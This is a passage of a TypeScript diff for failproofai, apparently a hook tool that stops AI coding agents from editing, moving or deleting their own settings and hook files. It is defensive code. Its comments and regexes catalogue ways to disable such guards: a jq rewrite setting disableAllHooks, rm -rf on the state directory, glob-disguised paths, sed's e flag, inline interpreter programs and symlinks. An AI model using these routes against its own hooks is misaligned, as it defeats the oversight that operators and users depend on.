agentSettingsShapeSource = (shapes: readonly RegExp[]): string => shapes.map((shape) => shape.source).join("|"); + +/** + * Case-insensitive because macOS's default filesystem is: `~/.Claude/Settings.json` + * is the same file there. On Linux the wider match only ever refuses more. + */ +const AGENT_SETTINGS_FILE_RE = new RegExp(`(?:^|[\\\\/])(?:${agentSettingsShapeSource(AGENT_SETTINGS_FILE_SHAPES)})$`, "i"); +const AGENT_CONFIG_DIR_RE = new RegExp(`(?:^|[\\\\/])(?:${agentSettingsShapeSource(AGENT_CONFIG_DIR_SHAPES)})[\\\\/]?$`, "i"); + +/** + * The same files found anywhere in a command's text, including inside quoted + * code: `python3 -c "open('/home/u/.claude/settings.json','w')"` never presents + * the path as a word of its own. + */ +const AGENT_SETTINGS_IN_TEXT_RE = new RegExp(`(?])`, + "i", +); + +/** Whether `path` is an agent settings or hook-config file. Anchored at the end. */ +export function isAgentSettingsPath(path: string): boolean { + return AGENT_SETTINGS_FILE_RE.test(path); +} + +/** Whether `path` IS an agent config directory (not a path inside one). */ +export function isAgentConfigDirPath(path: string): boolean { + return AGENT_CONFIG_DIR_RE.test(path); +} + +/** `~`, `$HOME` and `${HOME}` as the shell would expand them. */ +function expandAgentSettingsHome(path: string): string { + const home = homedir(); + if (path === "~" || path === "$HOME" || path === "${HOME}") return home; + const match = /^(?:~|\$HOME|\$\{HOME\})[\\/](.*)$/.exec(path); + return match ? join(home, match[1]) : path; +} + +/** + * A path as the tool would open it: home expanded and resolved against the + * session's cwd. A relative path with no cwd stays relative, which the anchored + * shapes still read (`.claude/settings.json` begins at the start of the string). + */ +function resolveAgentSettingsCandidate(path: string, cwd: string | undefined): string { + const expanded = expandAgentSettingsHome(path); + if (isAbsolute(expanded) || !cwd) return expanded; + return resolve(cwd, expanded); +} + +/** + * Where a path really leads, following every symlink on the way. + * + * For a file that does not exist yet (a Write that creates it), the deepest + * ancestor that does exist is resolved and the rest appended: a project symlink + * `cfg -> ~/.claude` makes `cfg/settings.local.json` a Claude settings file + * before it has ever been written. Never throws. + */ +function realpathOfAgentSettingsCandidate(path: string): string { + let current = path; + const tail: string[] = []; + for (let depth = 0; depth < 64; depth++) { + try { + const real = realpathSync(current); + return tail.length === 0 ? real : join(real, ...tail.reverse()); + } catch { + const parent = dirname(current); + if (parent === current) return path; + tail.push(basename(current)); + current = parent; + } + } + return path; +} + +/** + * Agent settings files under the home directory, as their home-relative paths. + * + * Their REAL paths are compared against a write's real path, which is what + * catches the dotfiles layout: `~/.claude/settings.json` symlinked to + * `~/dotfiles/claude/settings.json`, where the file the agent edits names no + * agent directory at all. + */ +const HOME_AGENT_SETTINGS_FILES: readonly string[] = [ + ".claude/settings.json", + ".claude/settings.local.json", + ".codex/hooks.json", + ".codex/config.toml", + ".copilot/hooks/failproofai.json", + ".cursor/hooks.json", + ".config/opencode/opencode.json", + ".config/opencode/opencode.jsonc", + ".config/opencode/config.json", + ".config/opencode/plugins/failproofai.mjs", + ".opencode/opencode.json", + ".pi/agent/settings.json", + ".gemini/settings.json", + ".gemini/config/hooks.json", + ".agents/plugins/failproofai/hooks/hooks.json", + ".config/goose/config.yaml", + ".factory/hooks.json", + ".config/devin/config.json", + ".hermes/config.yaml", + ".openclaw/openclaw.json", +]; + +function homeAgentSettingsRealpaths(): Set { + const home = homedir(); + const out = new Set(); + for (const relative of HOME_AGENT_SETTINGS_FILES) { + try { + out.add(realpathSync(join(home, relative))); + } catch { + // Not on this machine. + } + } + return out; +} + +/** The string values of a tool input, a few levels deep (Codex wraps a patch in an array). */ +function agentSettingsInputStrings(value: unknown, depth = 0, out: string[] = []): string[] { + if (typeof value === "string") out.push(value); + else if (depth < 3 && Array.isArray(value)) for (const item of value) agentSettingsInputStrings(item, depth + 1, out); + else if (depth < 3 && value && typeof value === "object") { + for (const item of Object.values(value as Record)) agentSettingsInputStrings(item, depth + 1, out); + } + return out; +} + +/** + * The files a patch touches: OpenAI's apply_patch envelope (`*** Update File:`, + * `*** Add File:`, `*** Delete File:`, `*** Move to:`) and unified-diff headers. + */ +export function agentPatchTargetPaths(patch: string): string[] { + const out: string[] = []; + for (const [, path] of patch.matchAll(/^\*\*\* (?:Add File|Update File|Delete File|Move to): *(.+?) *$/gm)) { + out.push(path); + } + for (const [, path] of patch.matchAll(/^(?:\+\+\+|---) (?:[ab][\\/])?([^\t\r\n]+?)(?:\t.*)? *$/gm)) { + if (path !== "/dev/null") out.push(path); + } + return out; +} + +/** + * Every path a file-writing tool call would write. + * + * `file_path` (Write, Edit, MultiEdit), `notebook_path` (NotebookEdit) and + * `path` cover the canonical inputs. Codex, Copilot and OpenCode `apply_patch` + * canonicalize to `Edit` with NO path key at all, because the paths sit inside + * the patch text; for those, and only those, the input's strings are read as a + * patch. A Write whose CONTENT happens to be a diff names its own file_path. + */ +export function agentToolWritePaths(toolInput: Record | undefined): string[] { + if (!toolInput) return []; + const named = ["file_path", "notebook_path", "path"] + .map((key) => toolInput[key]) + .filter((value): value is string => typeof value === "string" && value.length > 0); + if (named.length > 0) return named; + return agentSettingsInputStrings(toolInput).flatMap((text) => agentPatchTargetPaths(text)); +} + +/** + * The agent settings file a file-tool call would write, or null. + * + * Checked as written, then after symlinks: a path that leads into an agent + * directory through a link, and a file that IS the target of one of the home + * directory's settings symlinks, are the same file to the agent CLI. + */ +export function agentSettingsWriteTarget( + toolInput: Record | undefined, + cwd: string | undefined, +): string | null { + let homeReals: Set | undefined; + for (const raw of agentToolWritePaths(toolInput)) { + const lexical = resolveAgentSettingsCandidate(raw, cwd); + if (isAgentSettingsPath(lexical)) return lexical; + // Relative and no cwd: nothing on disk to follow. + if (!isAbsolute(lexical)) continue; + const real = realpathOfAgentSettingsCandidate(lexical); + if (real !== lexical && isAgentSettingsPath(real)) return lexical; + homeReals ??= homeAgentSettingsRealpaths(); + if (homeReals.has(real)) return lexical; + } + return null; +} + +/** Shell punctuation that can stand around a word without being part of the path. */ +function bareAgentSettingsWord(word: string): string { + return word.replace(/^[(){}'"`;&|<>]+|[(){}'"`;&|<>]+$/g, ""); +} + +/** + * Whether shell text names an agent settings file or config directory. + * + * The text forms catch a path anywhere, quoted code included. Then each word on + * its own, resolved the way the shell would: `~` expanded, and a relative word + * against the session's cwd, so `sed -i … settings.json` from a shell that an + * earlier call left in `~/.claude` names the file even though the text never + * says where it is. + */ +export function shellTextNamesAgentSettings(text: string, cwd: string | undefined): boolean { + if (AGENT_SETTINGS_IN_TEXT_RE.test(text) || AGENT_CONFIG_DIR_IN_TEXT_RE.test(text)) return true; + for (const raw of text.split(/\s+/)) { + const word = bareAgentSettingsWord(raw); + if (!word || word.startsWith("-")) continue; + // A variable other than HOME is the walker's to follow (it tracks which + // ones hold an agent path); resolving `$D` as a file name would mean nothing. + if (word.includes("$") && !/^\$\{?HOME\}?(?:[\\/]|$)/.test(word)) continue; + const path = resolveAgentSettingsCandidate(word, cwd); + if (isAgentSettingsPath(path) || isAgentConfigDirPath(path)) return true; + } + return false; +} + +/** + * Agent paths as a glob would have to reach them: relative to a project, and + * under a home directory spelled every way a command can spell it. + */ +const PROJECT_AGENT_SETTINGS_GLOB_PATHS: readonly string[] = [ + ".claude", ".claude/settings.json", ".claude/settings.local.json", + ".codex", ".codex/hooks.json", ".codex/config.toml", + ".cursor", ".cursor/hooks.json", + ".github/hooks", ".github/hooks/failproofai.json", + ".opencode", ".opencode/opencode.json", ".opencode/plugins/failproofai.mjs", + ".pi", ".pi/settings.json", ".pi/extensions", + ".gemini", ".gemini/settings.json", + ".agents", ".agents/hooks.json", ".agents/plugins/failproofai", + ".factory", ".factory/hooks.json", + ".devin", ".devin/config.json", +]; + +const HOME_AGENT_SETTINGS_GLOB_PATHS: readonly string[] = [ + ".claude", ".claude/settings.json", ".claude/settings.local.json", + ".codex", ".codex/hooks.json", ".codex/config.toml", + ".cursor", ".cursor/hooks.json", + ".copilot", ".copilot/hooks", ".copilot/hooks/failproofai.json", + ".config/opencode", ".config/opencode/opencode.json", ".config/opencode/plugins/failproofai.mjs", + ".pi", ".pi/agent/settings.json", ".pi/agent/extensions", + ".gemini", ".gemini/settings.json", ".gemini/config/hooks.json", + ".agents", ".agents/plugins/failproofai", ".agents/plugins/failproofai/hooks/hooks.json", + ".config/goose", ".config/goose/config.yaml", + ".factory", ".factory/hooks.json", + ".config/devin", ".config/devin/config.json", + ".hermes", ".hermes/config.yaml", ".hermes/plugins/failproofai", + ".openclaw", ".openclaw/openclaw.json", +]; + +/** + * Ordinary nested paths a glob aimed at agent settings must NOT reach. + * + * The state guard's decoys are top-level names, because its target is a + * top-level directory. Settings files sit one level down, so removing every + * `.json` one directory deep in a repository compiled to a pattern that reaches + * `.claude/settings.json` and no decoy at all. These are the ordinary files such + * a pattern also lands on — and the ordinary siblings of the agent directories + * that live inside a shared parent, so a sweep of `~/.config` or `.github` + * reads as the sweep it is. Agents' own directories get no siblings here: a + * glob over `~/.claude` IS aimed at the settings inside it. + */ +const AGENT_SETTINGS_GLOB_DECOY_PATHS: readonly string[] = [ + "src/settings.json", "config/hooks.json", "app/config.toml", "deploy/config.yaml", + "lib/plugins/index.mjs", "projects", "docs", + ".config/git", ".config/gh", ".config/nvim", ".github/workflows", +]; + +const AGENT_SETTINGS_HOME_SPELLINGS = ["~", "$HOME", "${HOME}", "/home/u", "/Users/u", "/root"] as const; + +function underEveryAgentSettingsHome(paths: readonly string[]): string[] { + const homes = [...AGENT_SETTINGS_HOME_SPELLINGS, homedir().replaceAll("\\", "/")]; + return homes.flatMap((home) => paths.map((path) => `${home}/${path}`)); +} + +/** + * The paths a glob has to be able to reach to count as aimed at agent settings. + * + * When the session already stands in an agent directory, the files directly in + * it are reachable by a bare `*.json`, so their names join the list. + */ +export function agentSettingsGlobCandidates(cwd: string | undefined): string[] { + const candidates = [...PROJECT_AGENT_SETTINGS_GLOB_PATHS, ...underEveryAgentSettingsHome(HOME_AGENT_SETTINGS_GLOB_PATHS)]; + if (cwd && isAgentConfigDirPath(cwd)) { + const here = cwd.replaceAll("\\", "/").replace(/\/+$/, "").toLowerCase(); + for (const path of [...PROJECT_AGENT_SETTINGS_GLOB_PATHS, ...HOME_AGENT_SETTINGS_GLOB_PATHS]) { + // `.config/opencode/opencode.json` from inside `~/.config/opencode` is + // `opencode.json`: every split of the path whose directory half is where + // the session stands. + for (let cut = path.indexOf("/"); cut !== -1; cut = path.indexOf("/", cut + 1)) { + if (here.endsWith(`/${path.slice(0, cut).toLowerCase()}`)) candidates.push(path.slice(cut + 1)); + } + } + } + return candidates; +} + +/** Decoys for those candidates, in the same spellings. */ +export function agentSettingsGlobDecoys(): string[] { + return [...AGENT_SETTINGS_GLOB_DECOY_PATHS, ...underEveryAgentSettingsHome(AGENT_SETTINGS_GLOB_DECOY_PATHS)]; +} diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 16402d333..b4733649a 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -16,6 +16,13 @@ import { POLICY_CATALOG } from "./policy-catalog"; import { allow, deny, instruct } from "./policy-helpers"; import { normalizePolicyName, registerPolicy } from "./policy-registry"; import { hookLogWarn } from "./hook-logger"; +import { + agentSettingsGlobCandidates, + agentSettingsGlobDecoys, + agentSettingsWriteTarget, + isAgentSettingsPath, + shellTextNamesAgentSettings, +} from "./agent-settings-guard"; /** * Whether `resolved` lives under an agent CLI's home directory @@ -48,43 +55,16 @@ function isAgentInternalPath(resolved: string): boolean { } /** - * Whether `resolved` is a settings/hooks file for an agent CLI: - * • Claude Code: `.claude/settings.json`, `.claude/settings.local.json`, etc. - * • Codex: `.codex/hooks.json` - * • Copilot CLI: `.copilot/hooks/*.json`, `.github/hooks/*.json` - * • Cursor Agent: `.cursor/hooks.json` - * • OpenCode: `.opencode/opencode.{json,jsonc}`, - * `.opencode/plugins/*.{mjs,js,ts}`, - * `~/.config/opencode/{opencode.json,opencode.jsonc,config.json}`, - * `~/.config/opencode/plugins/*.{mjs,js,ts}` - * • Pi: `.pi/settings.json` (project) and `.pi/agent/settings.json` - * (user); also the Pi-managed extension dir - * `.pi/extensions/` / `.pi/agent/extensions/`. - * • Antigravity CLI (agy): reuses `~/.gemini/` — `~/.gemini/settings.json` - * and the customization-root hook config - * `~/.gemini/config/hooks.json`. + * Whether `resolved` is a settings or hook-config file for an agent CLI — any + * of the eleven integrations, listed with the reason each one counts in + * `agent-settings-guard.ts`. + * * These must NEVER be edited by the agent itself — that would let it disable - * its own protections. + * its own protections. `block-failproofai-commands` refuses writes to them + * (always on); `block-read-outside-cwd` refuses reads (opt-in). */ function isAgentSettingsFile(resolved: string): boolean { - if (/[\\/]\.claude[\\/]settings(?:\.[^/\\]+)?\.json$/.test(resolved)) return true; - if (/[\\/]\.codex[\\/]hooks\.json$/.test(resolved)) return true; - if (/[\\/]\.copilot[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; - if (/[\\/]\.github[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; - if (/[\\/]\.cursor[\\/]hooks\.json$/.test(resolved)) return true; - // OpenCode: project config + plugins, user config + plugins, legacy config. - if (/[\\/]\.opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; - if (/[\\/]\.opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; - if (/[\\/]\.config[\\/]opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; - if (/[\\/]\.config[\\/]opencode[\\/]config\.json$/.test(resolved)) return true; - if (/[\\/]\.config[\\/]opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; - // Pi: settings + extensions dirs (project and user-scope variants). - if (/[\\/]\.pi[\\/](?:agent[\\/])?settings\.json$/.test(resolved)) return true; - if (/[\\/]\.pi[\\/](?:agent[\\/])?extensions[\\/]/.test(resolved)) return true; - // Antigravity (agy) reuses ~/.gemini/: settings.json + the customization-root hooks.json. - if (/[\\/]\.gemini[\\/]settings\.json$/.test(resolved)) return true; - if (/[\\/]\.gemini[\\/]config[\\/]hooks\.json$/.test(resolved)) return true; - return false; + return isAgentSettingsPath(resolved); } // Back-compat aliases — kept for any caller that imports the old names. @@ -617,9 +597,16 @@ const SAFE_EXEC_COMMANDS = new Set([ * `git` is otherwise treated as carrying a path as PROSE — `git commit -m * "document ~/.failproofai layout"` must not deny — but `git clean -xdff * .failproofai` deletes the directory as thoroughly as `rm -rf` does. + * + * The second row moves or rewrites files too: `git mv .claude/settings.json x` + * takes an agent's hooks away, `git -C ~/.claude pull` replaces them with + * whatever the remote holds, and `git config -f ` writes INI into any file + * it is pointed at. Like the first row, these only count when the command + * already names a protected path. */ const GIT_DESTRUCTIVE_SUBCOMMANDS = new Set([ "clean", "rm", "restore", "checkout", "reset", "stash", + "mv", "pull", "merge", "switch", "rebase", "cherry-pick", "revert", "am", "apply", "config", ]); /** @@ -722,7 +709,8 @@ const GLOB_DECOYS = [ ]; /** - * True when this token is a glob that could expand onto failproofai's state. + * True when this token is a glob that could expand onto the target — failproofai's + * state, or an agent's settings files (see `ProtectedPathTarget`). * * The floor used to be a literal `fail` in the token, and that is exactly what * a glob is for: `rm -rf ~/.f*ailproofai` spells the same directory without the @@ -738,15 +726,15 @@ const GLOB_DECOYS = [ * allowed because they sweep the decoys too; `rm -rf /tmp/test-failures*` stays * allowed because it reaches no candidate at all. */ -function globCouldNameState(raw: string): boolean { +function globCouldNameTarget(raw: string, target: ProtectedPathTarget): boolean { // Both readings of a trailing `)`: part of the pattern, and the close of a // subshell that wrapped it. Trying both is safe in the way widening always is // here — the decoy test still has to pass. const stripped = raw.replace(/^[()]+|[()]+$/g, ""); - return globWordCouldNameState(raw) || (stripped !== raw && globWordCouldNameState(stripped)); + return globWordCouldNameTarget(raw, target) || (stripped !== raw && globWordCouldNameTarget(stripped, target)); } -function globWordCouldNameState(token: string): boolean { +function globWordCouldNameTarget(token: string, target: ProtectedPathTarget): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; // Braces FIRST, because that is the order the shell works in: brace expansion // rewrites the word into several words, and only then is each one matched @@ -755,7 +743,7 @@ function globWordCouldNameState(token: string): boolean { // shell turns into `~/.fa*ilproofai` and then into `~/.failproofai` — read as // naming nothing at all. for (const word of expandBraces(token)) { - if (wordNamesState(word)) return true; + if (wordNamesTarget(word, target)) return true; } return false; } @@ -877,8 +865,8 @@ function firstBraceGroup(word: string): { start: number; end: number; alternativ * `~/.{failproofai,other}` carries no `.failproofai` as written, and the word it * expands to needs no glob compilation to be recognised. */ -function wordNamesState(word: string): boolean { - if (FAILPROOFAI_STATE_PATH_RE.test(word)) return true; +function wordNamesTarget(word: string, target: ProtectedPathTarget): boolean { + if (target.namesLiteral(word)) return true; // Every path PREFIX, not just the whole word. The candidates are the state // directory itself, so `~/.f*ailproofai/policies-config.json` — a glob in a // segment that is not the last one — compiled to a pattern that could never @@ -886,7 +874,7 @@ function wordNamesState(word: string): boolean { // the state is naming the state. const segments = word.split("/"); for (let end = 1; end <= segments.length; end++) { - if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; + if (globPrefixNamesTarget(segments.slice(0, end).join("/"), target)) return true; } return false; } @@ -1031,7 +1019,7 @@ function bracketExpressionAt(token: string, start: number): { source: string; en * One `/`-delimited prefix of a brace-expanded word, compiled and tried against * the candidates. Braces are already gone by here; an unmatched one is literal. */ -function globPrefixNamesState(token: string): boolean { +function globPrefixNamesTarget(token: string, target: ProtectedPathTarget): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; const pattern = "^" + compileGlobPattern(token); let re: RegExp; @@ -1040,8 +1028,8 @@ function globPrefixNamesState(token: string): boolean { } catch { return false; } - if (!STATE_GLOB_CANDIDATES.some((candidate) => re.test(candidate))) return false; - return !GLOB_DECOYS.some((decoy) => re.test(decoy)); + if (!target.globCandidates.some((candidate) => re.test(candidate))) return false; + return !target.globDecoys.some((decoy) => re.test(decoy)); } /** @@ -1105,7 +1093,7 @@ function bareToken(token: string): string { * arrived here decapitated — an unterminated group that expands to nothing and * compiles to a pattern matching nothing. A closing character that really did * belong to a shell group leaves a word still carrying the literal path, which - * the literal check reads, and `globCouldNameState` tries the stripped form too. + * the literal check reads, and `globCouldNameTarget` tries the stripped form too. */ function unquotedToken(token: string): string { return token.replace(/^['"]+|['"]+$/g, ""); @@ -1149,10 +1137,14 @@ function commandWords(simpleCommand: string): string[] { /** * True when this one simple command would destroy whatever it is pointed at. * - * Reached only for a command that already names failproofai's state, so the + * Reached only for a command that already names the protected target, so the * question is narrow: is this a read, or is it everything else. */ -function simpleCommandDestroys(words: string[], namesState: (text: string) => boolean): boolean { +function simpleCommandDestroys( + words: string[], + namesState: (text: string) => boolean, + target: ProtectedPathTarget, +): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); const args = words.slice(1); @@ -1179,20 +1171,38 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo // state without `-i` anywhere on the line. if (head === "sed") { if (args.some((a) => a.startsWith("-i") || a.startsWith("--in-place"))) return true; + // `e` runs a shell command, as a command (`1e cp …`) or as the flag on `s` + // (`s/x/y/e`), so a sed that reads nothing at all can still write anything. + if (args.some((a) => /(?:^|[;{}/0-9$,!])[gpIiMm0-9]*e[gpIiMm0-9]*(?:$|[;}])/.test(a))) return true; // The filename may ride in the same token (`'s/a/b/w'`) or in the // next one, because a quoted script containing a space is two tokens by the // time it gets here. `s/a/b/w` and a bare `w` both end in a `w` that // follows a delimiter, which is what separates them from a word like `raw`. + // `W` writes too, and an address (`1w`, `$W`) can stand in front of either. return args.some( - (a, i) => /(?:^|[;}/\s])w$/.test(a) && namesState(args[i + 1] ?? ""), - ) || args.some((a) => /(?:^|[;}/\s])w\s*\S*\.failproofai/.test(a)); + (a, i) => /(?:^|[;}/\s0-9$])[wW]$/.test(a) && namesState(args[i + 1] ?? ""), + ) || args.some((a) => + [...a.matchAll(/(?:^|[;}/\s0-9$])[wW]\s*(\S+)/g)].some(([, file]) => namesState(file)), + ); + } + + // `yq -i` rewrites the file it reads, and reads JSON as readily as YAML. + if (head === "yq") { + if (args.some((a) => /^-[A-Za-z]*i/.test(a) || /^--in-?place/.test(a))) return true; } // `awk` can run a shell (`system("rm -rf …")`) or pipe into one, so its // program has to be read for those two, not just for the `>` the redirect // scan already catches. if (head === "awk" || head === "gawk" || head === "mawk") { - return args.some((a) => /system\s*\(|\|\s*["']|\|&/.test(a)); + // gawk's `inplace` extension rewrites every input file, loaded by flag + // (`-i inplace`, `--include=inplace`) or from the program (`@include`). + const inplace = args.some( + (a, i) => + ((a === "-i" || a === "--include" || a === "@include") && /^inplace/.test(args[i + 1] ?? "")) || + /^(?:-iinplace|--include=inplace)/.test(a), + ); + return inplace || args.some((a) => /system\s*\(|\|\s*["']|\|&/.test(a)); } // Copying the state OUT is a backup. Copying anything ONTO it — classically @@ -1235,6 +1245,7 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo if (writesViaOutputFlag(head, args, namesState)) return true; if (STATE_READ_COMMANDS.has(head) || STATE_MENTION_COMMANDS.has(head)) return false; + if (target.harmlessCommands?.has(head)) return false; return true; } @@ -1260,7 +1271,87 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st } /** - * True when `command` would delete, move or overwrite failproofai's own state. + * What the shell walk below protects, so one walk serves two targets. + * + * It was written for failproofai's own state. An agent's settings and hook + * files need exactly the same reading of a command — which end of a copy the + * path sits on, whether `sed` has `-i`, where a variable or a `cd` carries the + * path — so the walk takes its target as a parameter instead of existing twice. + */ +interface ProtectedPathTarget { + /** Whether a word, a value or a whole pipeline names the target as written. */ + namesLiteral(text: string): boolean; + /** Paths a glob has to be able to reach to count as aimed at the target. */ + globCandidates: readonly string[]; + /** Ordinary paths a glob aimed at the target must miss. */ + globDecoys: readonly string[]; + /** Heads that cannot write or remove the target, beyond the shared read and mention lists. */ + harmlessCommands?: ReadonlySet; +} + +/** failproofai's own state. Names, not copies, so widening any of them widens the walk. */ +const FAILPROOFAI_STATE_TARGET: ProtectedPathTarget = { + namesLiteral: (text) => FAILPROOFAI_STATE_PATH_RE.test(text), + globCandidates: STATE_GLOB_CANDIDATES, + globDecoys: GLOB_DECOYS, +}; + +/** + * `mkdir` and `touch` create, and neither can overwrite or remove a settings + * file — while an agent making `.claude/commands/` is ordinary work. + */ +const AGENT_SETTINGS_HARMLESS_COMMANDS: ReadonlySet = new Set(["mkdir", "touch"]); + +/** + * Agents' settings and hook files (agent-settings-guard.ts), for a session in + * `cwd`: a relative word is resolved against it, the way the shell will. + */ +function agentSettingsShellTarget(cwd: string | undefined): ProtectedPathTarget { + return { + namesLiteral: (text) => shellTextNamesAgentSettings(text, cwd), + globCandidates: agentSettingsGlobCandidates(cwd), + globDecoys: [...GLOB_DECOYS, ...agentSettingsGlobDecoys()], + harmlessCommands: AGENT_SETTINGS_HARMLESS_COMMANDS, + }; +} + +/** Interpreters that take a program inline or on stdin. Never readers. */ +const INLINE_INTERPRETERS = "python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl|ruby|php|lua|osascript|pwsh|powershell"; + +/** + * A program handed to an interpreter on its command line: `python3 -c "…"`, + * `node -e '…'`, `perl -pe '…'`, `deno eval "…"`. + * + * The program is not shell, but the walk splits it like shell — on every `;` — + * so `python3 -c "import json; p=''; json.dump(d, open(p,'w'))"` left the + * path in a piece that reads as a bare assignment with no command in front of + * it, and the interpreter's own piece named nothing. So the whole program is + * judged as one: an interpreter is never on the read list, and naming the + * target anywhere in its program is enough. + */ +const INLINE_PROGRAM_RE = new RegExp( + String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})(?:\s+[^\s;&|]+)*?\s+(?:-[A-Za-z]*[ceErp]|--eval|--print|--command|-Command|eval)\s+("(?:[^"\\]|\\.)*"|'[^']*')`, + "g", +); + +/** + * A heredoc fed to one of those interpreters, and its body: `python3 - <<'EOF'`. + * A shell's own heredoc is left to the walk, which already reads each line of + * it as a command. + */ +const INTERPRETER_HEREDOC_RE = new RegExp( + String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})\b[^\n]*?<<-?\s*(['"]?)([A-Za-z_][A-Za-z0-9_]*)\1[^\n]*\n([\s\S]*?)(?:\n[ \t]*\2[ \t]*(?:\n|$)|$)`, + "g", +); + +/** True when `command` would delete, move or overwrite failproofai's own state. */ +function destroysFailproofaiState(command: string): boolean { + return destroysProtectedPath(command, FAILPROOFAI_STATE_TARGET); +} + +/** + * True when `command` would delete, move or overwrite the target — written for + * failproofai's own state, which is what the examples below are about. * * Deleting the state IS disabling enforcement, and it never names the binary: * `rm ~/.failproofai/policies/packs/installed.json` switches off every pack @@ -1282,7 +1373,7 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysFailproofaiState(command: string, depth = 0): boolean { +function destroysProtectedPath(command: string, target: ProtectedPathTarget, depth = 0): boolean { // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -1293,7 +1384,7 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { if (depth === 0) { const bodies = substitutionBodies(command); for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1)) return true; + if (destroysProtectedPath(bodies[i], target, 1)) return true; bodies.push(...substitutionBodies(bodies[i])); } } @@ -1313,7 +1404,7 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { const before = stateVars.size; for (const [name, value] of assignments) { const holdsState = - FAILPROOFAI_STATE_PATH_RE.test(value) || + target.namesLiteral(value) || [...value.matchAll(VAR_REFERENCE_RE)].some(([, ref]) => stateVars.has(ref)); if (holdsState) stateVars.add(name); } @@ -1321,16 +1412,24 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { } const namesState = (text: string): boolean => { - if (FAILPROOFAI_STATE_PATH_RE.test(text)) return true; + if (target.namesLiteral(text)) return true; for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { if (stateVars.has(name)) return true; } // Per token, not over the whole text: a glob compiled from a whole command // line matches nothing, and it is the individual operand — `~/.failproof*` // — that would expand onto the state. - return text.split(/\s+/).some((token) => globCouldNameState(unquotedToken(token))); + return text.split(/\s+/).some((token) => globCouldNameTarget(unquotedToken(token), target)); }; + // Programs handed to an interpreter, judged whole (see INLINE_PROGRAM_RE). + for (const [, program] of command.matchAll(INLINE_PROGRAM_RE)) { + if (namesState(program)) return true; + } + for (const [, , , body] of command.matchAll(INTERPRETER_HEREDOC_RE)) { + if (namesState(body ?? "")) return true; + } + let cwdInState = false; // How deep in `( … )` the walk is, and how deep it was when the `cd` fired. // A `cd` inside a subshell moves the subshell only, so the window closes when @@ -1378,7 +1477,7 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; - } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { + } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState, target)) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; @@ -2454,7 +2553,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // completely as `rm -rf` does — and the machine still reads as fresh, so // fail-closed never fires. Reading is not offered by these tools' write half, // so naming the state at all is the whole test. - if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { + if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "MultiEdit" || ctx.toolName === "NotebookEdit") { const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); if (FAILPROOFAI_STATE_PATH_RE.test(path)) { return deny( @@ -2462,6 +2561,18 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { "If a policy is blocking legitimate work, say so and let the operator decide.", ); } + // The agent CLI's own settings and hook files are how it calls failproofai + // at all. `"disableAllHooks": true` in any Claude Code settings layer, or a + // hooks file with our entries taken out, switches off every policy — this + // one included — and Claude Code's file watcher applies it before the next + // tool call. Checked after symlinks, and through apply_patch's patch text. + const settingsFile = agentSettingsWriteTarget(ctx.toolInput, ctx.session?.cwd); + if (settingsFile) { + return deny( + `${settingsFile} is an agent settings or hook file, and editing it could switch failproofai's hooks off. ` + + "If this change is needed, say so and let the user make it.", + ); + } return allow(); } if (ctx.toolName !== "Bash") return allow(); @@ -2496,6 +2607,16 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { "If a policy is blocking legitimate work, say so and let the operator decide.", ); } + // The same walk, aimed at the agents' settings and hook files: `jq + // '.disableAllHooks=true' ~/.claude/settings.json > t && mv t + // ~/.claude/settings.json` switches the hooks off without naming failproofai. + const settingsTarget = agentSettingsShellTarget(ctx.session?.cwd); + if (destroysProtectedPath(cmd, settingsTarget) || destroysProtectedPath(unescaped, settingsTarget)) { + return deny( + "Writing, moving or deleting an agent's settings or hook files could switch failproofai's hooks off. " + + "If this change is needed, say so and let the user make it.", + ); + } return allow(); } diff --git a/src/hooks/claude-hooks-switch.ts b/src/hooks/claude-hooks-switch.ts new file mode 100644 index 000000000..f2efb6e1f --- /dev/null +++ b/src/hooks/claude-hooks-switch.ts @@ -0,0 +1,57 @@ +/** + * Whether Claude Code's `disableAllHooks` is switching failproofai's hooks off. + * + * Claude Code reads ONE value of the key: the one left after settings precedence + * (managed, then local, then project, then user). So a `true` in a project's + * `.claude/settings.local.json` turns 